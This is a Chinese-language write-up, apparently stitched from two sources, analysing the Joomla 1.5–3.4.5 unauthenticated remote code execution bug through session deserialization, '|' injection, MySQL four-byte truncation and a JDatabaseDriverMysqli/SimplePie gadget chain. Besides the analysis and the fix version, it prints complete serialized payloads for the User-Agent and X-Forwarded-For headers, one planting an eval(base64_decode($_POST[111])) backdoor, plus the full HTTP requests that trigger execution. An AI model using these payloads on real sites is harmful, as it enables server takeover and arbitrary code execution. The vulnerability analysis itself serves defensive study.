Joomla远程代码执行漏洞分析
说一下这个漏洞的影响和触发、利用方法。这个漏洞影响Joomla 1.5 to 3.4全版本，并且利用漏洞无需登录，只需要发送两次数据包即可（第一次：将session插入数据库中，第二次发送同样的数据包来取出session、触发漏洞、执行任意代码），后果是直接导致任意代码执行。
0x00 漏洞点 —— 反序列化session
这个漏洞存在于反序列化session的过程中。
漏洞存在于 libraries/joomla/session/session.php 中，_validate函数，将ua和xff调用set方法设置到了session中（session.client.browser和session.client.forwarded）
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protected
function
_validate(
$restart
= false)
{
...
// Record proxy forwarded for in the session in case we need it later
if
(isset(
$_SERVER
[
'HTTP_X_FORWARDED_FOR'
]))
{
$this
->set(
'session.client.forwarded'
,
$_SERVER
[
'HTTP_X_FORWARDED_FOR'
]);
}
...
// Check for clients browser
if
(in_array(
'fix_browser'
,
$this
->_security) && isset(
$_SERVER
[
'HTTP_USER_AGENT'
]))
{
$browser
=
$this
->get(
'session.client.browser'
);
if
(
$browser
=== null)
{
$this
->set(
'session.client.browser'
,
$_SERVER
[
'HTTP_USER_AGENT'
]);
}
elseif
(
$_SERVER
[
'HTTP_USER_AGENT'
] !==
$browser
)
{
// @todo remove code: $this->_state = 'error';
// @todo remove code: return false;
}
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最终跟随他们俩进入数据库，session表：
正常情况下，不存在任何问题。因为我们控制的只是反序列化对象中的一个字符串，不会触发反序列相关的漏洞。 但是，因为一个小姿势，导致后面我们可以控制整个反序列化对象。
0x01 利用|字符伪造，控制整个反序列化字符串
首先，我们需要先看看@Ryat老师的pch-013：https://github.com/80vul/phpcodz/blob/master/research/pch-013.md
和pch-013中的情况类似，joomla也没有采用php自带的session处理机制，而是用多种方式（包括database、memcache等）自己编写了存储session的容器（storage）。
其存储格式为『键名 ＋ 竖线 ＋ 经过 serialize() 函数反序列处理的值』，未正确处理多个竖线的情况。
那么，我们这里就可以通过注入一个"|"符号，将它前面的部分全部认为是name，而|后面我就可以插入任意serialize字符串，构造反序列化漏洞了。
但还有一个问题，在我们构造好的反序列化字符串后面，还有它原本的内容，必须要截断。而此处并不像SQL注入，还有注释符可用。 不知各位是否还记得当年wordpress出过的一个XSS，当时就是在插入数据库的时候利用"%F0%9D%8C%86"字符将mysql中utf-8的字段截断了。
这里我们用同样的方法，在session进入数据库的时候就截断后面的内容，避免对我们反序列化过程造成影响。
0x02 构造POP执行链，执行任意代码
在可以控制反序列化对象以后，我们只需构造一个能够一步步调用的执行链，即可进行一些危险的操作了。 exp构造的执行链，分别利用了如下类：
- JDatabaseDriverMysqli
- SimplePie
我们可以在JDatabaseDriverMysqli类的析构函数里找到一处敏感操作：
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public
function
__destruct()
{
$this
->disconnect();
}
...
public
function
disconnect()
{
// Close the connection.
if
(
$this
->connection)
{
foreach
(
$this
->disconnectHandlers
as
$h
)
{
call_user_func_array(
$h
,
array
( &
$this
));
}
mysqli_close(
$this
->connection);
}
$this
->connection = null;
}
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当exp对象反序列化后，将会成为一个JDatabaseDriverMysqli类对象，不管中间如何执行，最后都将会调用__destruct，__destruct将会调用disconnect，disconnect里有一处敏感函数：call_user_func_array。
但很明显，这里的call_user_func_array的第二个参数，是我们无法控制的。所以不能直接构造assert+eval来执行任意代码。
于是这里再次调用了一个对象：SimplePie类对象，和它的init方法组成一个回调函数[new SimplePie(), 'init']，传入call_user_func_array。 跟进init方法：
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function
init()
{
// Check absolute bare minimum requirements.
if
((function_exists(
'version_compare'
) && version_compare(PHP_VERSION,
'4.3.0'
,
'<'
)) || !
extension_loaded
(
'xml'
) || !
extension_loaded
(
'pcre'
))
{
return
false;
}
...
if
(
$this
->feed_url !== null ||
$this
->raw_data !== null)
{
$this
->data =
array
();
$this
->multifeed_objects =
array
();
$cache
= false;
if
(
$this
->feed_url !== null)
{
$parsed_feed_url
= SimplePie_Misc::
parse_url
(
$this
->feed_url);
// Decide whether to enable caching
if
(
$this
->cache &&
$parsed_feed_url
[
'scheme'
] !==
''
)
{
$cache
= call_user_func(
array
(
$this
->cache_class,
'create'
),
$this
->cache_location, call_user_func(
$this
->cache_name_function,
$this
->feed_url),
'spc'
);
}
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很明显，其中这两个call_user_func将是触发代码执行的元凶。 所以，我将其中第二个call_user_func的第一个参数cache_name_function，赋值为assert，第二个参数赋值为我需要执行的代码，就构造好了一个『回调后门』。
所以，exp是怎么生成的？给出我写的生成代码：
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将这个代码生成的exp，以前面提到的注入『|』的变换方式，带入前面提到的user-agent中，即可触发代码执行。 其中，我们需要将char(0)*char(0)替换成\0\0\0，因为在序列化的时候，protected类型变量会被转换成\0*\0name的样式，这个替换在源代码中也可以看到：
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$result
=
str_replace
(
'\0\0\0'
,
chr
(0) .
'*'
.
chr
(0),
$result
);
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构造的时候遇到一点小麻烦，那就是默认情况下SimplePie是没有定义的，这也是为什么我在调用SimplePie之前先new了一个JSimplepieFactory的原因，因为JSimplepieFactory对象在加载时会调用import函数将SimplePie导入到当前工作环境：
而JSimplepieFactory有autoload，所以不再需要其他include来对其进行加载。 给出我最终构造的POC（既是上诉php代码生成的POC）：
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User-Agent: 123}__test|O:21:
"JDatabaseDriverMysqli"
:3:{s:4:
"\0\0\0a"
;O:17:
"JSimplepieFactory"
:0:{}s:21:
"\0\0\0disconnectHandlers"
;a:1:{i:0;a:2:{i:0;O:9:
"SimplePie"
:5:{s:8:
"sanitize"
;O:20:
"JDatabaseDriverMysql"
:0:{}s:5:
"cache"
;b:1;s:19:
"cache_name_function"
;s:6:
"assert"
;s:10:
"javascript"
;i:9999;s:8:
"feed_url"
;s:37:
"ρhιτhσπpinfo();JFactory::getConfig();exit;"
;}i:1;s:4:
"init"
;}}s:13:
"\0\0\0connection"
;i:1;}ðŒ†
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给一张代码成功执行的POC：
0x03 影响版本 & 修复方案
1.5 to 3.4全版本
更新到3.4.6版本
影响版本
from Joomla 1.5 up until 3.4.5
此漏洞无需登录，前台即可代码执行
一、session反序列化
php函数session_set_save_handler()
官方手册介绍如下：
参数 read（）
read(string $sessionId)
如果会话中有数据，read 回调函数必须返回将会话数据编码（序列化）后的字符串。 如果会话中没有数据，read 回调函数返回空字符串。
在自动开始会话或者通过调用 session_start() 函数手动开始会话之后，PHP 内部调用 read 回调函数来获取会话数据。 在调用 read 之前，PHP 会调用 open 回调函数。
read 回调返回的序列化之后的字符串格式必须与 write 回调函数保存数据时的格式完全一致。 PHP 会自动反序列化返回的字符串并填充 $_SESSION 超级全局变量。 虽然数据看起来和 serialize() 函数很相似， 但是需要提醒的是，它们是不同的。
简而言之，通过session_set_save_handler()重写read方法，将返回值反序列化后填入$_SESSION
示例如下：
php
classFileSessionHandler
{
private $savePath;
function open($savePath, $sessionName)
{
$this->savePath = $savePath;
if (!is_dir($this->savePath)) {
mkdir($this->savePath, 0777);
}
return true;
}
function close()
{
return true;
}
function read($id)
{
$data=@file_get_contents("$this->savePath/sess_$id");
var_dump($data);
return (string)@file_get_contents("$this->savePath/sess_$id");
}
function write($id, $data)
{
// return file_put_contents("$this->savePath/sess_$id", $data) === false ? false : true;
}
function destroy($id)
{
$file = "$this->savePath/sess_$id";
if (file_exists($file)) {
unlink($file);
}
return true;
}
function gc($maxlifetime)
{
foreach (glob("$this->savePath/sess_*") as $file) {
if (filemtime($file) + $maxlifetime < time() && file_exists($file)) {
unlink($file);
}
}
return true;
}
}
$handler = new FileSessionHandler();
session_set_save_handler(
array($handler, 'open'),
array($handler, 'close'),
array($handler, 'read'),
array($handler, 'write'),
array($handler, 'destroy'),
array($handler, 'gc')
);
session_start();
var_dump($_SESSION); 运行结果
可以看出，两次vardump出来的结果，分别为序列化前和序列化后
二、数据库截断
通过官网介绍“The character set named utf8 uses a maximum of three bytes per character and contains only BMP characters. ”，mysql在使用utf8的时候，一个字符的大小的上限为3字节，而当出现四个字节的字符时，是需要用使用utf8mb4编码，不使用的话，会将不识别的四字节的字符连同后面的字符串一同舍弃。
详情参见：http://xteam.baidu.com/?p=177
三、漏洞分析
joomla会将user-agent和x-forwarded-for的内容写入session，外界可控且并未进行任何过滤
// Record proxy forwarded for in the session in case we need it later
if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
{
$this->set('session.client.forwarded', $_SERVER['HTTP_X_FORWARDED_FOR']);
}
// Check for clients browser
if (in_array('fix_browser', $this->_security) && isset($_SERVER['HTTP_USER_AGENT']))
{
$browser = $this->get('session.client.browser');
if ($browser === null)
{
$this->set('session.client.browser', $_SERVER['HTTP_USER_AGENT']);
}
elseif ($_SERVER['HTTP_USER_AGENT'] !== $browser)
{
// @todo remove code: $this->_state = 'error';
// @todo remove code: return false;
}
}
return true;
} 之后session写入数据库时，运用前文所讲的四字节字符截断，使得我们写入的session可以被成功反序列化
如下是写入后的内容
__default|a:9:{s:15:”session.counter”;i:1;s:19:”session.timer.start”;i:1450172177;s:18:”session.timer.last”;i:1450172177;s:17:”session.timer.now”;i:1450172177;s:24:”session.client.forwarded”;s:435:”}__test|O:21:”JDatabaseDriverMysqli”:3:{s:2:”fc”;O:17:”JSimplepieFactory”:0:{}s:21:”disconnectHandlers”;a:1:{i:0;a:2:{i:0;O:9:”SimplePie”:5:{s:8:”sanitize”;O:20:”JDatabaseDriverMysql”:0:{}s:8:”feed_url”;s:60:”eval(base64_decode($_POST[111]));JFactory::getConfig();exit;”;s:19:”cache_name_function”;s:6:”assert”;s:5:”cache”;b:1;s:11:”cache_class”;O:20:”JDatabaseDriverMysql”:0:{}}i:1;s:4:”init”;}}s:13:”connection”;b:1;} 而后面则是session的自动反序列化
public function register()
{
// Use this object as the session handler
session_set_save_handler(
array($this, 'open'), array($this, 'close'), array($this, 'read'), array($this, 'write'),
array($this, 'destroy'), array($this, 'gc')
);
} 使用了session_set_save_handler函数重写了read()方法
read()方法如下
public function read($id)
{
// Get the database connection object and verify its connected.
$db = JFactory::getDbo();
try
{
// Get the session data from the database table.
$query = $db->getQuery(true)
->select($db->quoteName('data'))
->from($db->quoteName('#__session'))
->where($db->quoteName('session_id') . ' = ' . $db->quote($id));
$db->setQuery($query);
$result = (string) $db->loadResult();
$result = str_replace('', chr(0) . '*' . chr(0), $result);
return $result;
}
catch (Exception $e)
{
return false;
}
}read() return后自动进行一次反序列化操作，从而造成了php对象注入
四、漏洞利用
User-aget和X-FORWARDER-FOR均可
修改session
GET /joomla/ HTTP/1.1
Host: 192.168.152.130
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
x-forwarded-for: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:60:"eval(base64_decode($_POST[111]));JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"connection";b:1;}ðŒ†
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: 82864b7eae85ebcf7a6fbdda5d464249=h5kl99v8ddi9t64919sf706q64
Connection: keep-alive执行代码
POST /joomla/ HTTP/1.1
Host: 192.168.152.130
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: 82864b7eae85ebcf7a6fbdda5d464249=h5kl99v8ddi9t64919sf706q64
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
111=cGhwaW5mbygpOw%3d%3d注意保证cookie中的数据一致即可
相关链接
[1]https://docs.joomla.org/Security_hotfixes_for_Joomla_EOL_versions
[2]http://php.net/session_set_save_handler